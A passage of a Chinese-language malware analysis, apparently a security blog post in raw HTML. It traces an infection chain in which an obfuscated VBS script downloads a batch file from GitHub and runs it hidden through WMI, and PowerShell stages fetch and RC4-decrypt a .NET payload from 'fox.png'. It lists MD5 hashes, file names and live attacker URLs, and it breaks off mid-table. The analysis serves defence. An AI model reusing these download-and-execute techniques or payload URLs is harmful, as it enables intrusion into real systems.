textstyle="" style="font-weight: bold;">3.1. </span></span><b><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">脚本组件</span></span></font></b></h3><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">taskschd.vbs</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”是一个V</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">BS</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本文件，信息如下：</span></font></p><div><div><p><table style="width:573px;"><tbody><tr><td data-colwidth="160"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">MD5</span></span></span></p></td><td data-colwidth="413"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">d9d7d5feb2abc828b58142fc63509d80</span></span></span></p></td></tr><tr><td data-colwidth="160"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">文件大小</span></span></span></p></td><td data-colwidth="413"><p><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">1.52 KB (1,562 字节)</span></span></span></p></td></tr><tr><td data-colwidth="160"><p data-mpa-action-id="mp3ov52sr5a"><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">文件名</span></span></span></p></td><td data-colwidth="413"><p data-mpa-action-id="mp3ov93q1h1e"><span style="font-size: 16px;"><span style="border-color: #000000;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">taskschd.vbs</span></span></span></p></td></tr></tbody></table></p></div></div><p style="text-indent: 2em;text-align: left;margin-top: 16px;margin-bottom: 16px;"><span leaf="">该脚本</span><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">是一个被混淆之后的</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">V</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">BS</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本，攻击者通过</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">R</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">eplace</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">函数增加了大量的干扰分析的内容，经过去混淆之后，</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">taskschd.vbs</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”文件内容如下，该文件功能就是从“</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">处下载目标文件，并保存</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”，然后W</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">MI</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">隐秘执行该</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">bat脚本文件。</span></font></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5391095066185319" data-s="300,640" data-type="png" data-w="831" type="block" data-imgfileid="100024875" src="https://wechat2rss.xlab.app/img-proxy/?k=ea22d3ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKbH718pPwFf8zUic51f1wJ3h0s5yH3Vt9R6axw8f86sqfdhrWHJZn5lKRmWgCvhKAWiberibhTibRlHUBpaAhZSXBPNNUbelLORWw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-pm-slice="0 0 []"><font face="仿宋"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”</span></font></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">是一个</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">bat批处理文件，具体信息如下：</span></font></font></p><div><div><p><table style="width:575px;"><tbody><tr><td data-colwidth="108"><p><span style="border-color: #000000;font-size: 16px;"><span leaf="">MD5</span></span></p></td><td data-colwidth="467"><p><span style="border-color: #000000;font-size: 16px;"><span leaf="">23da5ff2ed7bd4ac5a</span><span leaf="">2a148afc037b6a</span></span></p></td></tr><tr><td data-colwidth="108"><p><span style="border-color: #000000;font-size: 16px;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="467"><p><span style="border-color: #000000;font-size: 16px;"><span leaf="">499 字节 (499 字节)</span></span></p></td></tr><tr><td data-colwidth="108"><p><span style="border-color: #000000;font-size: 16px;"><span leaf="">文件名</span></span></p></td><td data-colwidth="467"><p data-mpa-action-id="mp3ovlkcxj8"><span style="border-color: #000000;font-size: 16px;"><span leaf="">a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat</span></span></p></td></tr></tbody></table></p></div></div><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-pm-slice="0 0 []"><font face="仿宋"><font face="仿宋"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”</span></font></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">文件的功能是分别从</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">dropbox.com</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">和</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">github</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.com</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">两个公共存储平台下载文件分别保存到</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“Eudksref.ps1”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">和</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Eudksre.ps1</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”，然后通过P</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">owerShell</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">执行</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Eudksre.ps1</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”文件。</span></font></font></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.147239263803681" data-s="300,640" data-type="png" data-w="978" type="block" data-imgfileid="100024876" src="https://wechat2rss.xlab.app/img-proxy/?k=b3866a0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKnPcB23eahicfZjCcPrxWWVNDM9cs94icWrkngYiazMrELZiaQ6B232krGmictk89QygvLwAtqHywvPtxRrqeOcCM0OJv44hLYGiads%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;" data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“Eudksre.ps1”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">文件信息如下：</span></font></p><div style="text-indent: 0px;"><div><div><div><div><div><p><table><tbody><tr></tr></tbody></table></p></div></div></div><div><div><div><p><table style="width: 575px;"><tbody><tr><td data-colwidth="108"><p><span style="border-color: rgb(0, 0, 0);font-size: 16px;"><span leaf="">MD5</span></span></p></td><td data-colwidth="467"><p><span style="font-size: 16px;"><span leaf="" data-pm-slice="0 0 []">8</span><span leaf="">49ddfdba81</span><span leaf="">0b251522690d51475a359</span></span></p></td></tr><tr><td data-colwidth="108"><p><span style="border-color: rgb(0, 0, 0);font-size: 16px;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="467"><p><span style="font-size: 16px;"><span leaf="">3.12 KB (3,199 字节)</span></span></p></td></tr><tr><td data-colwidth="108"><p><span style="border-color: rgb(0, 0, 0);font-size: 16px;"><span leaf="">文件名</span></span></p></td><td data-colwidth="467"><p data-mpa-action-id="mp3ozqw91zn7"><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);"><span leaf="">Eudksre.ps1</span></span></span></p></td></tr></tbody></table></p></div></div></div><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“Eudksre.ps1”的主要功能是读取“<a href="https://raw.githubusercontent.com/shantez441/EDGTy/refs/heads/main/fox.png”内容，然后使用修改过的RC4解密算法解密“fox.png”文件内容，然后通过.Net反射加载的方式执行解密之后的.Net载荷。" target="_blank">https://raw.githubusercontent.com/shantez441/EDGTy/refs/heads/main/fox.png”内容，然后使用修改过的RC4解密算法解密“fox.png”文件内容，然后通过.Net反射加载的方式执行解密之后的.Net载荷。</a></span></p></div></div></div><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4452466907340554" data-s="300,640" data-type="png" data-w="831" type="block" data-imgfileid="100024877" src="https://wechat2rss.xlab.app/img-proxy/?k=78be4e98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIsYqjRW2xR01rFx4wv7b6q6ddNXLefDYSice4CaSibEjavKlgs84ic0Z9DaIicRJwfnW1CibRFVES6UMU8evuteI8mj5TK4SnrNlhU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Eudksref.ps1</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">信息如下：</span></font></p><div><div><div><div><p><table style="width:575px;"><tbody><tr><td data-colwidth="108"><p><span style="border-color: rgb(0, 0, 0);font-size: 16px;"><span leaf="">MD5</span></span></p></td><td data-colwidth="467"><p><span leaf="">45b6b7dadc13e4a4cc30dd82eb58c3ed</span></p></td></tr><tr><td 